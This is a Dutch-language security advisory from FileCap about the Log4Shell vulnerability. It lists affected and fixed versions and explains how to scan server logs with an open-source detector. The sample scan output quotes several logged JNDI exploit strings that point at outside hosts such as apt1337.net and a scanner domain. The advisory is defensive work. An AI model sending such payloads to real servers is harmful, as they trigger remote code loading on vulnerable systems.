Nadat afgelopen vrijdag de (cyber)wereld op zijn kop stond na de bekendmaking van de Log4Shell-exploit (CVE-2021-44228), hebben veel klanten gevraagd hoe zij deze misbruik kunnen detecteren in FileCap. Hieronder staat een korte methode beschreven waarmee er een snelle beoordeling gemaakt kan worden of er noodzaak is tot verder onderzoek op uw FileCap machine.
Deze exploit is opgelost in FileCap 5.1.1.
In Filecap 5.1.2 is de Log4J library nogmaals geüpdatet, deze keer naar 2.16.0 om het component waarin de kwetsbaarheid zat helemaal te verwijderen.
Zie hier de release notes.
De volgende CVE's zijn momenteel niet te misbruiken in FileCap (CVE-2021-45046, CVE-2021-45105), maar desondanks hebben we de Log4J-library wel geüpdatet.
Product |
Kwetsbaar |
Niet Kwetsbaar |
FileCap Server |
<= 5.1.0 |
>= 5.1.1 (CVE-2021-44228) >= 5.1.2 (CVE-2021-45046) >= 5.1.3 (CVE-2021-45105) |
FileCap Outlook Plugin |
Niet van toepassing |
Alle versies |
FileCap Office365 Plugin |
Niet van toepassing |
Alle versies |
FileCap Windows Plugin |
Niet van toepassing |
Alle versies |
FileCap Android App |
Niet van toepassing |
Alle versies |
FileCap iOS App |
Niet van toepassing |
Alle versies |
FileCap macOS App |
Niet van toepassing |
Alle versies |
Opzetten en uitvoeren detectie tool
Hiervoor vereist u toegang te hebben tot de shell (command line) van uw FileCap server.
wget https://github.com/Neo23x0/log4shell-detector/archive/refs/heads/main.zip
unzip main.zip
cd log4shell-detector-main/
python3 log4shell-detector.py -p /var/log/{tomcat8,tomcat9}
Output WEL exploitatie pogingen
Hieronder ziet u wat de output van deze check is op een machine waar er pogingen tot misbruik zijn gedaan:
root@filecap:~/log4shell-detector-main# python3 log4shell-detector.py -p /var/log/{tomcat8,tomcat9}
__ ____ ______ ____ ___ __ __
/ / ___ ___ _/ / // __/ / ___ / / / / _ \___ / /____ ____/ /____ ____
/ /__/ _ \/ _ `/_ _/\ \/ _ \/ -_) / / / // / -_) __/ -_) __/ __/ _ \/ __/
/____/\___/\_, / /_//___/_//_/\__/_/_/ /____/\__/\__/\__/\__/\__/\___/_/
/___/
Version 0.9.0, Florian Roth
[.] Starting scan DATE: 2021-12-14 15:59:39.325611
[E] Path /var/log/tomcat8 doesn't exist
[.] Scanning FOLDER: /var/log/tomcat9 ...
[!] FILE: /var/log/tomcat9/localhost_access_log.2021-12-13.txt.gz LINE_NUMBER: 58 DEOBFUSCATED_STRING: $jdi:dns:/ LINE: 127.0.0.1 - - [13/Dec/2021:07:59:27 +0100] "GET /$%7Bjndi:dns:/45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 221
[!] FILE: /var/log/tomcat9/localhost_access_log.2021-12-12.txt.gz LINE_NUMBER: 5 DEOBFUSCATED_STRING: $jndi:ldap: LINE: 127.0.0.1 - - [12/Dec/2021:02:40:02 +0100] "GET /$%7Bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 221
[!] FILE: /var/log/tomcat9/catalina.out.1 LINE_NUMBER: 364 DEOBFUSCATED_STRING:$jndi:ldap: LINE: [2021-12-11 12:47:45] [info] 11-Dec-2021 12:47:45.758 INFO [http-nio-127.0.0.1-8080-exec-1] com.filecap.portal.control.user.PortalUserRegistrationOrchestrator - New register user request. RegisterUserInptname=$jndi:ldap://apt1337.net/a', emailAddress='rian@cybercentric.nl', mobileNumber='7474837463', useCookie=true, fromUploadLink=false. Request info hostname='filecap.cybercentric.nl', client ip='172.16.51.118'
[!] FILE: /var/log/tomcat9/catalina.out.1 LINE_NUMBER: 365 DEOBFUSCATED_STRING:$jndi:ldap: LINE: [2021-12-11 12:47:46] [info] 11-Dec-2021 12:47:46.104 INFO [http-nio-127.0.0.1-8080-exec-1] com.filecap.portal.control.user.PortalUserRegistrationOrchestrator - Successfully registered user. RegisterUserInptname=$jndi:ldap://apt1337.net/a', emailAddress='rian@cybercentric.nl', mobileNumber='7474837463', useCookie=true, fromUploadLink=false. Request info hostname='filecap.cybercentric.nl', client ip='172.16.51.118'
[!] FILE: /var/log/tomcat9/localhost_access_log.2021-12-11.txt.gz LINE_NUMBER: 67 DEOBFUSCATED_STRING:$jndi:ldap: LINE: 127.0.0.1 - - [11/Dec/2021:21:00:51 +0100] "GET /$%7Bjndi:ldap:/http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 221
[!] 4 files with exploitation attempts detected in PATH: /var/log/tomcat9
[!!!] 5 exploitation attempts detected in the complete scan
[.] Finished scan DATE: 2021-12-14 15:59:39.941922
[.] Scan took the following time to complete DURATION: 0 hours 0 minutes 0 seconds
Output GEEN exploitatie pogingen
Mochten er geen pogingen gedetecteerd zijn op uw systeem dan ziet de output er als volgt uit:
root@filecap:~/log4shell-detector-main# python3 log4shell-detector.py -p /var/log/{tomcat8,tomcat9}
__ ____ ______ ____ ___ __ __
/ / ___ ___ _/ / // __/ / ___ / / / / _ \___ / /____ ____/ /____ ____
/ /__/ _ \/ _ `/_ _/\ \/ _ \/ -_) / / / // / -_) __/ -_) __/ __/ _ \/ __/
/____/\___/\_, / /_//___/_//_/\__/_/_/ /____/\__/\__/\__/\__/\__/\___/_/
/___/
Version 0.9.0, Florian Roth
[.] Starting scan DATE: 2021-12-14 15:37:21.011797
[E] Path /var/log/tomcat8 doesn't exist
[.] Scanning FOLDER: /var/log/tomcat9 ...
[+] No files with exploitation attempts detected in path PATH: /var/log/tomcat9
[.] No exploitation attempts detected in the scan
[.] Finished scan DATE: 2021-12-14 15:37:21.054287
[.] Scan took the following time to complete DURATION: 0 hours 0 minutes 0 seconds